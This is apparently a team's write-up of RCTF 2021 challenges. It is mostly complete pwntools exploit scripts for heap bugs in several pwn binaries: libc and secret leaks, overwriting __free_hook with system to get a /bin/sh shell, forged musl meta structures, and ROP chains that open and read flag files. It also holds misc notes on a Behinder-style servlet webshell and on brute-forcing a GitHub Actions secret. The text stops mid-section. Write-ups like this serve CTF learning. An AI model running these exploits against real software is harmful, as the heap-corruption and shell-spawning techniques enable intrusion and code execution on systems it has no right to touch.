from pwn import * WDFLAG = 1 << 5 SHJDFLAG = 1 << 1 _ATK ='\x01' _CM ='\x02' STBF ='\x03' _LDMHP ='\x04' _LDEHP ='\x06' _CMP ='\x08' _JMP ='\x09' _JZ ='\x0a' _JG ='\x0b' _JL ='\x0c' _LDREG ='\x0d' _ADD ='\x10' _TALK ='\x11' _SLCE ='\x12' p = process('./game') def Benediction(): re = '' re += '\x02\x00' return re def Solace(): re = '' re += '\x02\x01' return re def Despair(): re = '' re += '\x02\x02' return re def Superbolide(): re = '' re += '\x02\x03'+STBF+chr(WDFLAG) return re def Reprisal(): re = '' re += '\x02\x04' return re def attack(): re ='' re+= _ATK return re def LDEHP(r): re = '' re += _LDEHP re += chr(r) return re def LDREG(r,b,v): re = '' re += _LDREG re += chr(r) re += chr(b) re += chr(v) return re def CMP(r1,r2): re = '' re+= _CMP re+= chr(r1) re+= chr(r2) return re def ADD(r1,r2): re = '' re+= _ADD re+= chr(r1) re+= chr(r2) return re def JMP(off): re = '' re+= _JMP re += p16(off) return re def JZ(off): re = '' re+= _JZ re += p16(off) return re def JG(off): re = '' re+= _JG re += p16(off) return re def JL(off): re = '' re+= _JL re += p16(off) return re def talk(type,size): re = '' re+=_TALK re += chr(type) re += chr(size) return re def dele(): re = '' re+=_SLCE return re def dice(): return '\x13' spell = '' spell += Reprisal() spell += Solace() spell += Solace() spell += Reprisal() spell += Solace() spell += Solace() spell += Superbolide() spell += Benediction() spell += Solace() spell += Solace() spell += talk(2,0xb0) spell += dele() spell += talk(2,0xb0) spell += dele() spell += Solace() spell += talk(2,0xb0) spell += dele() spell += talk(2,0xb0) spell += dele() spell += Solace() spell += talk(2,0xb0) spell += dele() spell += talk(2,0xb0) spell += dele() spell += Solace() spell += talk(2,0xb0) spell += dele() spell += Solace() #======================== spell += Solace()##stny spell += Solace() spell += dele() spell += Solace() spell += talk(1,1) for i in range(4): spell += Despair() spell += Solace() spell += Despair() spell += Solace() spell += Despair() spell += Solace() spell += Despair() spell += dice() spell += Solace() spell += dele() spell += dice() spell += Solace() spell += Solace() spell += LDEHP(0) spell += LDEHP(1) spell += LDREG(1,1,0) spell += LDREG(2,1,1) spell += Solace() spell += Solace()#2 spell += ADD(1,2)#3 spell += CMP(0,1)#3 spell += JZ(3)#3 spell += JMP(-14&0xffff)#3 spell += Benediction() spell += Solace() spell += Solace() #== spell += LDREG(1,2,0) spell += LDREG(2,1,0) spell += LDREG(2,2,1) spell += Solace()#2 spell += ADD(1,2)#3 spell += CMP(0,1)#3 spell += JZ(3)#3 spell += JMP(-14&0xffff)#3 spell += Benediction() spell += Solace() spell += Solace() #== spell += LDREG(1,3,0) spell += LDREG(2,2,0) spell += LDREG(2,3,1) spell += Solace()#2 spell += ADD(1,2)#3 spell += CMP(0,1)#3 spell += JZ(3)#3 spell += JMP(-14&0xffff)#3 spell += Benediction() spell += Solace() spell += Solace() #== spell += LDREG(1,4,0) spell += LDREG(2,3,0) spell += LDREG(2,4,1) spell += Solace()#2 spell += ADD(1,2)#3 spell += CMP(0,1)#3 spell += JZ(3)#3 spell += JMP(-14&0xffff)#3 spell += Benediction() spell += Solace() spell += Solace() #== spell += LDREG(1,5,0) spell += LDREG(2,4,0) spell += LDREG(2,5,1) spell += Solace()#2 spell += ADD(1,2)#3 spell += CMP(0,1)#3 spell += JZ(3)#3 spell += JMP(-14&0xffff)#3 spell += Benediction() spell += Solace() spell += Solace() #=== spell += talk(1,0x10) spell += talk(1,0x10) spell += talk(1,0x10) spell += Solace() spell += Solace() spell += talk(1,0x10) spell += dele() spell += Solace() spell += Solace() p.recvuntil('length:') p.sendline(str(len(spell))) p.recvuntil('spell') p.send(spell) #p.interactive() for i in range(8): p.recvuntil('talk to the dragon?') p.send('\n') p.recvuntil('The follower is down,and the angry dragon came back with Exaflare!') p.recvuntil('The dragon casted Exaflare!') p.recvuntil('You used Dynamis Dice and the dragon\'s attack changed to ') p.recvuntil('You used Dynamis Dice and the dragon\'s attack changed to ') for i in range(4): p.recvuntil('You casted Solace') addr = 0 for i in range(5): tmp = 0 while True: p.recvuntil('You casted') a = p.recvline() if 'Solace' in a: tmp+=1 continue if 'Benediction' in a: print hex(tmp) addr += tmp <<((i+1)*8) break p.recvuntil('You casted Solace') p.recvuntil('You casted Solace') print hex(addr) libc_base = addr - 0x1ebb00 hook = 0x1eeb28+libc_base system = 0x55410+libc_base print hex(libc_base) p.recvuntil('talk to the dragon?') p.sendline(p64(hook)) p.recvuntil('talk to the dragon?') p.sendline(p64(system)) p.recvuntil('talk to the dragon?') p.sendline(p64(system)) p.recvuntil('talk to the dragon?') p.sendline('/bin/sh\x00') p.interactive()
- Reference
- https://www.finalfantasyxiv.com/
- https://ffxiv.consolegameswiki.com/
- https://clees.me/guides/ucob/
PS: Welcome to join our FF14 Free Company(CN-HaiMaoChaWu-无影)
PS: 欢迎加入我们的FF14部队(国服-海猫茶屋-无影)
musl
漏洞位于add函数中,没有检查size<=0的情况导致了堆溢出,申请size=0和size=0xC时实际上拿到的都是chunk_size=0x10的chunk,可以发现他们的group_addr都位于libc地址处,因此可以利用漏洞和show函数完成泄露libc基址和secret。
继续通过堆溢出伪造chunk的offset和index 以及伪造meta,最终完成对stdout_used的劫持。
题目使用了seccomp禁用了execve,可以通过orw获得flag
可以在libc.so中找到这样一条gadget,在close_file中通过这条gadget控制rsp和rip进行rop
#ROPgadget --binary /usr/local/musl/lib/libc.so --only 'mov|jmp' | grep 'rsp'
0x000000000004a5ae : mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]
没有告诉flagname,先用getdents探测flagname,然后再进行orw。
python exp.py /home/ctf/flag/
# -*- coding: utf-8 -*
from pwn import *
import sys, getopt
context.log_level = 'debug'
def add(idx,size,content):
p.sendafter(">>", "1".ljust(0x10,'\x00'))
p.sendafter("idx?\n",str(idx).ljust(0x10,'\x00'))
p.sendafter("size?\n",str(size).ljust(0x10,'\x00'))
p.sendafter("Contnet?\n",content)
def free(idx):
p.sendafter(">>","2".ljust(0x10,'\x00'))
p.sendafter("idx?\n",str(idx).ljust(0x10,'\x00'))
def show(idx):
p.sendafter(">>","3".ljust(0x10,'\x00'))
p.sendafter("idx?\n",str(idx).ljust(0x10,'\x00'))
def exp(flag_path):
global p
p = remote("123.60.25.24",12345)
#1.leak libc
add(0,1,b"")
add(1,1,b"")
for i in range(2,15):
add(i,1,b"")
free(0)
payload = "A"*0xF+"\n"
add(0,0,payload)
show(0)
p.recvline()
libcbase = u64(p.recvn(6).ljust(8,b'\x00')) - (0x7fc28eee1d50 - 0x7fc28ec49000)
malloc_context = libcbase + (0x7fc28eedeae0 - 0x7fc28ec49000)
stdout_used_ptr = libcbase + (0x7fc28eede450 - 0x7fc28ec49000)
magic_gadget = libcbase + 0x000000000004a5ae #0x000000000004a5ae :mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]
poprdiraxret = libcbase + 0x000000000007144e
poprsiret = libcbase + 0x000000000001b27a
poprdxret = libcbase + 0x0000000000009328
syscallret = libcbase + 0x0000000000023711
ret = libcbase + 0x000000000001689b
#2.leak secret
free(2)
payload = b"A"*0x10+p64(malloc_context)+b"\n"
add(2,0,payload)
show(3)
p.recvuntil("Content: ")
secret = u64(p.recvn(8))
#3.fake chunk6's offset and index
chunk_addr = libcbase + (0x7ff9422d4020 - 0x7ff942044000)
fake_stdout_used = chunk_addr + 0x30
fake_group = libcbase + (0x7ff9422dcdd0 - 0x7ff942044000)
free(5)
payload = p64(libcbase+(0x7f38bb7d6010 - 0x7f38bb545000))#fake group->meta
payload +=p64(0x000c0c000000000b)
payload +=p64(libcbase+(0x7ff4266c9df0 - 0x7ff426431000))
payload +=b"\x00"*5+p8(0)+p16(1)#idx=0 offset=0x10
add(5,0,payload+b"\n")
#4.fake_stdout_used and fake_meta
#fake_stdout_used
payload = flag_path.ljust(0x30,b'\x00')
payload +=b'\x00'*0x30+p64(chunk_addr + 0x100)#mov rsp, qword ptr [rdi + 0x30]
payload +=p64(ret)#jmp qword ptr [rdi + 0x38]
payload +=p64(0)+p64(magic_gadget)
payload = payload.ljust(0x100,b'\x00')
#open(flag_path, O_RDONLY | O_DIRECTORY)
payload +=p64(poprdiraxret)+p64(chunk_addr)+p64(2)
payload +=p64(poprsiret)+p64(0x10000)+p64(syscallret)
#getdents(fd, buf, BUF_SIZE)
payload +=p64(poprdiraxret)+p64(3)+p64(78)
payload +=p64(poprsiret)+p64(chunk_addr+0x300)
payload +=p64(poprdxret)+p64(0x100)+p64(syscallret)
#fill the path
LEN = len(flag_path)
payload +=p64(poprdiraxret)+p64(0)+p64(0)
payload +=p64(poprsiret)+p64(chunk_addr+0x312-LEN)
payload +=p64(poprdxret)+p64(LEN)+p64(syscallret)
#open(flag,0_RDONLY)
payload +=p64(poprdiraxret)+p64(chunk_addr+0x312-LEN)+p64(2)
payload +=p64(poprsiret)+p64(0)+p64(syscallret)
#read(fd,buf,size)
payload +=p64(poprdiraxret)+p64(4)+p64(0)
payload +=p64(poprsiret)+p64(chunk_addr+0x600)
payload +=p64(poprdxret)+p64(0x30)+p64(syscallret)
#write(1,buf,size)
payload +=p64(poprdiraxret)+p64(1)+p64(1)
payload +=p64(poprsiret)+p64(chunk_addr+0x600)
payload +=p64(poprdxret)+p64(0x30)+p64(syscallret)
payload = payload.ljust(0x1000-0x20,b'\x00')
#fake_meta_area
payload +=p64(secret)+p64(0)
#fake_meta
payload +=p64(fake_stdout_used)+p64(stdout_used_ptr)#prev next
payload +=p64(fake_group)#mem
payload +=p32(0x7f-1)+p32(0)#avail_mask=0x7e freed_mask=0
maplen = 1
freeable = 1
sizeclass = 1
last_idx = 6
last_value = last_idx | (freeable << 5) | (sizeclass << 6) | (maplen << 12)
payload +=p64(last_value)+p64(0)
add(15,0x1500,payload+b"\n")
free(6)
#exit
p.sendafter(">>",b"4".ljust(0x10,b'\x00'))
p.send(flag_path)
p.interactive()
if __name__ == "__main__":
exp(bytes(sys.argv[1],encoding='utf-8'))
Pokemon
漏洞
程序大致实现了一个宝可梦的游戏,抽取扭蛋的功能本质就是用来产生不同大小的chunk,但是 pikachu 申请chunk 的时候只能通过 calloc 函数来申请; psyduck 和 charizard 会在堆上实例化一个类,主要是需要注意的是,通过 new 来实例化类的时候,底层实际调用的是 malloc 来开辟的堆内存;
主要的漏洞在 psyduck 的操作函数上,
listen 的时候,是用 strchr 来限制泄露 heap 地址的,但是如果调整堆布局使得 heap 地址出现 ‘\x00’ 截断,就能绕过,从而泄露heap地址。
talk 的时候是每隔 0x10 对 类内的 secret 变量进行写入,但是会往后面的 chunk 内溢出 0x10,可以覆写到下一个 chunk 的 fd 和 bk 位置。
利用
通过堆布局,并切割一个加入 unsortedbin 中的chunk ,从而残留在 heap 上一个以 ‘\x00’ 结尾的堆地址,用 strchr 的误用漏洞来泄露 heap 地址。然后通过 psyduck 中的堆溢出来完成 tcache stashing unlink attack
,同时实现将 libc 地址写到 pikachu 对应堆块的 password 位置,并将该 chunk 放入 tcache 中,然后通过 charizard 底层调用的 malloc 将其申请出来,并进行覆写。
此时,就能通过挑战 Mewtwo 来泄露出 libc 地址,最后通过覆写 pikachu 内的 ptr 来进一步覆写 free_hook 为 system 即可。主要的难点就是恰当的堆布局,才能完成上述过程。
具体堆布局过程详见exp。
from pwn import *
context.log_level = 'debug'
io = process('./Pokemon')
# io = remote('106.14.214.3', 8873)
libc = ELF('./libc.so.6')
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
text ='''heapinfo
'''
def Menu(cmd):
sla('Choice: ', str(cmd))
def Add(atype, size, idx):
Menu(1)
sla('Choice:', str(atype))
if atype == 1:
sla('to be?\n', str(size))
sla('[0/1]\n', str(idx))
def Del(idx, verify=''):
Menu(2)
sla('[0/1]\n', str(idx))
Menu(1)
if verify != '':
sla('[Y/N]\n', verify)
def Show(idx):
Menu(2)
sla('[0/1]\n', str(idx))
Menu(2)
def Edit(idx, content):
Menu(2)
sla('[0/1]\n', str(idx))
Menu(3)
sa('You say: ', content)
def Challenge(idx, verify='N', pwd=''):
Menu(3)
content = ''
if verify == 'N':
sla('[0/1]\n', str(idx))
ru('evolutionary gem: ')
content = rn(8)
sla('[Y/N]\n', verify)
if verify == 'Y':
sla('password: ', pwd)
return content
sla('name:', 'RCTF2021')
# arrange the tcache, and generate a smallbin
for x in xrange(5):
Add(1, 0x1d0, 0)
Del(0)
Add(1, 0x300, 0)
for x in xrange(7):
Add(1, 0x300, 1)
Del(1)
Del(0)
Add(1, 0x120, 0)
Add(1, 0x2e0, 1)
Del(0)
Del(1)
# marge and generate a largebin
for x in xrange(7):
Add(1, 0x1e0, 0)
Del(0)
Add(1, 0x1e0, 0)
Add(1, 0x200, 1)
Del(0)
for x in xrange(7):
Add(1, 0x200, 0)
Del(0)
Del(1)
# splite the largebin and leak heap_base
Add(2, 0, 1)
Show(1)
ru('Psyduck say: ')
heap_base = uu64(rn(8)) - 0x15200
lg('heap_base', heap_base)
Add(1, 0x2e0, 0)
Del(0)
# overflow
Add(1, 0x200, 0)
payload = 'A'*0x100
payload += p64(heap_base+0x12a30) + p64(heap_base+0x16760)
Edit(1, payload)
Del(1, 'Y')
Add(1, 0x1d0, 1)
# leak libc_base
content = Challenge(1, 'N', '')
libc_base = uu64(content) - 0x1ebdb0
lg('libc_base', libc_base)
# get a 0x1e0 fake chunk from tcache, and make overlapping
Del(1)
Add(3, 0, 1)
free_hook = libc_base + libc.symbols['__free_hook']
payload = 'A'*8
payload += p64(free_hook-8)
Edit(1, payload+'\n')
system_addr = libc_base + libc.symbols['system']
tmp = '/bin/sh\x00'
tmp += p64(system_addr)
payload = ''
for x in tmp:
payload += chr( ord(x) ^ ord('A') )
Challenge(0, 'Y', payload)
Del(0)
irt()
catch_the_frog-pwn
C++ libnop框架,整数溢出
When allocating a frog, we can assign a size of the frog:
Frog(size_t name_sz) {
size_t alloc_sz = name_sz + 8;
if (alloc_sz < 0x100) {
name_ = static_cast<char*>(malloc(alloc_sz));
name_sz_ = name_sz;
} else {
name_ = static_cast<char*>(malloc(0x100 - 8));
name_sz_ = 0x100 - 8;
}
feed_times_ = 0;
}
However, there is no bound check on the name_sz
. If it is bigger than or equal to 0xfffffffffffffff8
, an integer overflow happens.
When we modify the frog, we decide from name_sz
, which is super large. Therefore we have heap overflow.
from pwn import *
context.terminal = ["tmux", "new-window"]
#context.log_level = True
is_remote = False
remote_addr = ['',0]
elf_path = "./catch_the_frog"
libc_path = "libc-2.27.so"
client = process("client")
if is_remote:
p = remote(remote_addr[0], remote_addr[1])
else:
p = process(elf_path, aslr = True)
if elf_path:
elf = ELF(elf_path)
if libc_path:
libc = ELF(libc_path)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s, addr = None):
if addr != None:
print('\033[1;31;40m[+] %-15s --> 0x%8x\033[0m'%(s,addr))
else:
print('\033[1;32;40m[-] %-20s \033[0m'%(s))
def raddr(a = 6):
if(a == 6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def client_choice(index):
client.sendlineafter(": ", str(index))
def recv_packet():
client.recvuntil("size: ")
size = int(client.recvline())
client.recvuntil("Content: ")
packet = client.recv(size)
sla(": ", str(len(packet)))
sa(": ", packet)
def alloc(size):
client_choice(1)
client_choice(size)
return recv_packet()
def edit(index, content):
client_choice(5)
client_choice(index)
client_choice(len(content))
client.sendafter(": ", content)
return recv_packet()
def show(index):
client_choice(3)
client_choice(index)
return recv_packet()
def free(index):
client_choice(4)
client_choice(index)
return recv_packet()
if __name__ == "__main__":
alloc(0x10000000000000000-8)
edit(0, "FUCKME.")
show(0)
alloc(0x100)
edit(1, "FUCKYOU")
edit(0, "A"*0x20)
show(0)
ru("A"* 0x20)
heap_addr = raddr() + 0x1c0 + 0x50
lg("Heap", heap_addr)
for i in range(8):
alloc(0xf0)
for i in range(8):
free(9 - i)
edit(0, "A"*0x20 + p64(heap_addr))
show(1)
ru("from ")
libc_addr = raddr() - 0x3ebca0
lg("libc", libc_addr)
libc.address = libc_addr
edit(0, "/bin/sh\x00"*3 + p64(0x21) + p64(libc.symbols["__free_hook"]))
edit(1, p64(libc.symbols["system"]))
free(0)
#gdb.attach(p)
sla(": ", "\n")
client.close()
p.interactive()
warmnote
漏洞
输入 666 的时候有个任意读的后门函数。
另外,在重新编辑 note 的时候存在 null 字节的溢出,
利用
题目是 musl 1.2.2 堆特性的利用。在使用 view 功能之前,new 功能申请 title 是使用 malloc 函数,但是没有清空残留的堆数据,通过重新申请一个被释放的 note 堆块来做 title堆块,从而泄露 libc 指针。然后利用任意读的后门泄露 meta 结构内的 secret 值。之后在堆上伪造 musl 的 meta 堆结构,利用 8 个 null 字节的溢出,来劫持 meta 结构,实现能够任意地址申请内存。最后覆写 ofl 指针,劫持 exit 时的执行流,并通过栈劫持来做ROP。
具体利用过程详见exp。
from pwn import *
context.log_level = 'debug'
io = process('./warmnote')
# io = remote('127.0.0.1', 6666)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
def Menu(cmd):
sla('>> ', str(cmd))
def Add(size, title, note):
Menu(1)
sla('Size: ', str(size))
sa('Title: ', title)
sa('Note: ', note)
def Show(idx):
Menu(2)
sla('Index: ', str(idx))
def Del(idx):
Menu(3)
sla('Index: ', str(idx))
def Edit(idx, note):
Menu(4)
sla('Index: ', str(idx))
sa('Note: ', note)
def backdoor(addr):
Menu(666)
sla('[IN]: ', str(addr))
ru('[OUT]: ')
return uu64(rn(8))
Add(0x30, '0'*0x10, 'A'*0x30)
Add(0x30, '1'*0x10, 'B'*0x30)
Add(0x30, '2'*0x10, 'C'*0x30)
Add(0x30, '3'*0x10, 'D'*0x30)
for x in xrange(4):
Del(x)
Add(0x138, '0'*0x10, 'A'*0x138)
Add(0x138, '1'*0x10, '\x00'*0x138)
Show(1)
ru('Title: '+'1'*0x10+'A'*0x10)
libc_base = uu64(rl()) - 0xb79a0
lg('libc_base')
context_addr = libc_base + 0xb4ac0
secret = backdoor(context_addr)
lg('secret')
fake_meta_addr = libc_base - 0x5fe0
payload = 'X'*0xfe0
payload += p64(secret) + p64(0) + p64(1) + p64(0)
payload += p64(0) + p64(0)
payload += p64(libc_base + 0xb7990) + p64(0x0000000000000000)
payload += p64(0x222)
payload = payload.ljust(0x2000, 'X')
Add(0x2000, '2'*0x10, payload)
payload = 'A'*0x130 + p64(fake_meta_addr)
Edit(0, payload)
Del(1)
payload = 'X'*0xfd0
payload += p64(secret) + p64(0) + p64(1) + p64(0)
payload += p64(fake_meta_addr) + p64(fake_meta_addr)
payload += p64(libc_base + 0xb6f84 -13) + p64(0x0000000100000000)
payload += p64(0x122)
payload = payload.ljust(0x2000, 'X')
Del(2)
Add(0x2000, '1'*0x10, payload)
Add(0x80, '2'*0x10, '\n')
rdi_ret = libc_base + 0x00000000000152a1
rsi_ret = libc_base + 0x000000000001dad9
rdx_ret = libc_base + 0x000000000002cdae
leave_ret = libc_base + 0x000000000001699c
rsp_ret = libc_base + 0x0000000000015e47
open_addr = libc_base + 0x1fa70
read_addr = libc_base + 0x74f10
write_addr = libc_base + 0x75700
addr1 = libc_base - 0x6fc0
payload = p64(0)
payload += p64(rsp_ret)
payload += p64(addr1 + 0x90)
payload += p64(0) + p64(0)
payload += p64(1) + p64(0)
payload += p64(0) + p64(0)
payload += p64(leave_ret)
payload += p64(leave_ret)
payload = payload.ljust(0x8c, '\x00')
payload += p32(0xffffffff)
payload += p64(rdi_ret)
payload += p64(addr1+0x90+0xa8)
payload += p64(rsi_ret)
payload += p64(0)
payload += p64(rdx_ret)
payload += p64(0)
payload += p64(open_addr)
payload += p64(rdi_ret)
payload += p64(3)
payload += p64(rsi_ret)
payload += p64(addr1+0x90+0xa8+0x10)
payload += p64(rdx_ret)
payload += p64(0x30)
payload += p64(read_addr)
payload += p64(rdi_ret)
payload += p64(1)
payload += p64(rsi_ret)
payload += p64(addr1+0x90+0xa8+0x10)
payload += p64(rdx_ret)
payload += p64(0x30)
payload += p64(write_addr)
payload += './flag\x00'
payload = payload.ljust(0xfc0, 'X')
payload += p64(secret) + p64(0) + p64(1) + p64(0)
payload += p64(fake_meta_addr) + p64(fake_meta_addr)
payload += p64(libc_base + 0xB6E00) + p64(0x0000000100000000)
payload += p64(0x122)
payload = payload.ljust(0x2000, 'X')
Del(1)
Add(0x2000, '1'*0x10, payload)
paylaod = p64(0)+p64(addr1)+'\n'
Add(0x80, '3'*0x10, paylaod)
Menu(5)
irt()
sharing
This is a heap management app using std::shared_ptr
. The chunk is of class Chunk
:
struct Chunk {
size_t size;
char* buffer;
Chunk(size_t siz) {
size = siz;
buffer = static_cast<char*>(malloc(size));
}
void Show() { write(1, buffer, size); }
void Edit() { read(0, buffer, size); }
~Chunk() { free(buffer); }
};
There is a backdoor that allows you to subtract 2 from any byte. So there are two easy ways to exploit this.
- Subtract the reference count of the shared pointer so that it frees the chunk too early, causing a UAF.
- Subtract the higher byte of the size to make it bigger than the allocated size, causing heap buffer overflow.
Exploit
from pwn import *
context.terminal = ["tmux", "new-window"]
#context.log_level = True
is_remote = False
remote_addr = ['',0]
elf_path = "./sharing"
libc_path = "/lib/x86_64-linux-gnu/libc-2.27.so"
if is_remote:
p = remote(remote_addr[0], remote_addr[1])
else:
p = process(elf_path, aslr = True)
if elf_path:
elf = ELF(elf_path)
if libc_path:
libc = ELF(libc_path)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s, addr = None):
if addr != None:
print('\033[1;31;40m[+] %-15s --> 0x%8x\033[0m'%(s,addr))
else:
print('\033[1;32;40m[-] %-20s \033[0m'%(s))
def raddr(a = 6):
if(a == 6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def choice(i):
sla(": ", str(i))
def add(idx, siz):
choice(1)
choice(idx)
choice(siz)
def show(idx):
choice(3)
choice(idx)
def edit(idx, content):
choice(4)
choice(idx)
sa("Content: ", content)
def dup(source, dst):
choice(2)
choice(source)
choice(dst)
if __name__ == "__main__":
for i in range(20):
add(i, 0x100)
for i in range(20):
dup(21, i)
add(0, 0x500)
show(0)
rv(8 * 3)
heap_addr = u64(rv(8)) - 0x160
lg("Heap", heap_addr)
rv(8 * 2)
libc_addr = u64(rv(8)) - 0x3ebca0
lg("libc", libc_addr)
libc.address = libc_addr
ru("Choice")
dup(21, i)
add(0, 0x100)
add(1, 0x100)
edit(0, "/bin/sh\x00")
edit(1, "fuckyou")
choice(0xdead)
choice("C++isreallyCool!")
choice(heap_addr)
show(1)
content = rv(0x128)
edit(1, content + p64(libc.symbols['__free_hook']))
edit(1, p64(libc.symbols['system']))
dup(21, 0)
p.interactive()
unistruct
A program written with std::variant
. When you allocate and edit a vector of int, the logic is
case 4: {
auto vec = std::get<4>(chunks[index]);
int in_place;
unsigned int new_value = 0;
for (auto iter = vec.begin(); iter != vec.end(); ++iter) {
std::cout << "Old value: " << *iter << std::endl;
std::cout << "Append or in place, 1 for in place: ";
std::cin >> in_place;
std::cout << "New value: ";
std::cin >> new_value;
if (new_value == 0xcafebabe) break;
if (in_place) {
*iter = new_value;
} else {
vec.push_back(new_value);
iter--;
}
}
break;
}
The problem is that you can change the size of the vector when iterating its elements, which will invalidate iter
, causing a UAF.
Exploit
from pwn import *
context.terminal = ["tmux", "new-window"]
context.log_level = True
is_remote = False
remote_addr = ['',0]
elf_path = "./unistruct"
libc_path = "/lib/x86_64-linux-gnu/libc-2.27.so"
if is_remote:
p = remote(remote_addr[0], remote_addr[1])
else:
p = process(elf_path, aslr = False)
if elf_path:
elf = ELF(elf_path)
if libc_path:
libc = ELF(libc_path)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s, addr = None):
if addr != None:
print('\033[1;31;40m[+] %-15s --> 0x%8x\033[0m'%(s,addr))
else:
print('\033[1;32;40m[-] %-20s \033[0m'%(s))
def raddr(a = 6):
if(a == 6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def choice(i):
sla(": ", str(i))
def add(idx, typ, siz):
choice(1)
choice(idx)
choice(typ)
choice(siz)
def show(idx):
choice(3)
choice(idx)
def edit(idx, content):
choice(2)
choice(idx)
for (inplace, new_value) in content:
ru(":")
value = int(rl())
choice(inplace)
choice(new_value)
def free(index):
choice(4)
choice(index)
def receive_a_int():
ru(": ")
value = int(rl())
return value
if __name__ == "__main__":
add(0, 4, 0x200)
show(0)
choice(2)
choice(0)
receive_a_int()
choice(1)
choice(0)
libc_addr = 0
a = receive_a_int()
choice(0)
choice(a)
a = receive_a_int()
choice(1)
choice(a)
a = receive_a_int()
choice(1)
choice(a)
libc_addr = a
a = receive_a_int()
choice(1)
choice(a)
libc_addr = a * 0x100000000 + libc_addr - 0x3ebca0
lg("libc_addr", libc_addr)
libc.address = libc_addr
a = receive_a_int()
choice(0)
choice(0xcafebabe)
add(1, 4, 0x10)
free_hook = libc.symbols['__free_hook'] - 8
system = libc.symbols['system']
edit(1, [(0, 1), (1, free_hook & 0xFFFFFFFF), (1, free_hook >> 32), (0, 0xcafebabe)])
add(2, 4, 0x10)
choice(1)
choice(3)
choice(3)
sla(": ", "/bin/sh\x00" + p64(system) * 6 + "\n")
#add(3, 4, 0x10)
#choice(2)
#choice(3)
#a = receive_a_int()
#choice(1)
#choice(0xdeadbeef)
#edit(3, [(1, 0xdeadbeef), (1, system >> 32), (1, 0xcafebabe)])
#edit(3, [(1, system & 0xFFFFFFFF), (1, system >> 32), (1, 0xcafebabe)])
#gdb.attach(p)
p.interactive()
Misc
CheckIn
- github action会把 secret 替换成
***
- flag只有短短的五位数字
使用如下脚本生成爆破效率高一点点的payload,并防止他人上车(虽然发出这个issue已经明示了解法
import random
a=[False for i in range(1000000)]
payload = "01234"
count = 1
while True:
n = random.choice("0123456789")
now = payload[-4:] + n
if not a[int(now)]:
payload+=n
count+=1
if count %100 == 0 :
print(f"process :{count}/99999,payload length: {len(payload)}")
with open("payload.txt","w") as f:
f.write(payload)
if count == 99999:
print("finish")
break
FeedBack
Finish the feedback to get flag
welcome_to_rctf
Open website and get flag
ezshell
http://124.70.137.88:60080/xxx tomcat 404报错
/index.html 跳转 /shell 可以直接下载 ROOT.war
发现有个根据冰蝎 shell.jsp 实现的 servlet shell,根据题目描述,过滤了内存马、命令执行,且限制出网,所以考虑实现回显
根据提示,查看冰蝎 BasicInfo 源码,发现其功能为输出环境变量和系统属性,Exp 尝试直接输出环境变量就看到 flag 了
补充
其实这道题主要方向是冰蝎密钥交互写死 getOutputStream 和题目 Servlet 里的 getWriter 冲突
如果有的师傅手上有修改后支持连接内存马的冰蝎,修改对应函数名为 Servlet 中的 ‘e’ 后,应该也是连不上的: )
payload/java/Echo
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
支持内存马连接和函数冲突解决的冰蝎的一个demo
https://github.com/pipimi110/Behinder_ezshell
ezshell中使用的agent
https://github.com/pipimi110/javaAgentLearn
CoolCat
I am honored to give a misc challenge for RCTF( forgive me for my poor English plz
The idea of this challenge comes from an article authored by Merricx, a crypto master
you can visit it for this link
https://merricx.github.io/dont-roll-your-own-crypto-1/
After reading this article, I tried to use a part of technique in it to make a simple challenge
If you want to learn more, you can search for knowledge about Arnold’s Cat Map
Now, I will give one solution to solve this challenge
now let’s see the source code
def ACM(img, p, q, m):
counter = 0
if img.mode == "P":
img = img.convert("RGB")
assert img.size[0] == img.size[1]
while counter < m:
dim = width, height = img.size
with Image.new(img.mode, dim) as canvas:
for x in range(width):
for y in range(height):
nx = (x + y * p) % width
ny = (x * q + y * (p * q + 1)) % height
canvas.putpixel((nx, ny), img.getpixel((x, y)))
img = canvas
counter += 1
return canvas
# My image was encrypted by ACM, but I lost the p,q, and m ......
lol, I made m is uncertain, so each time you get the image may be different!
As the m increase, the server takes more time to encrypt the image
so I set m random.randint(1,5) ( I think if there are too many requests, this way will be blocked, so I made m tiny, you can also get m by brute-force
get m
form the picture, you can see that Timing Attack is work
encrypt one time takes about 1.75s ,so you can get the m ! ( unfortunately, there are too many requests
get p,q
now we need to get p ,q
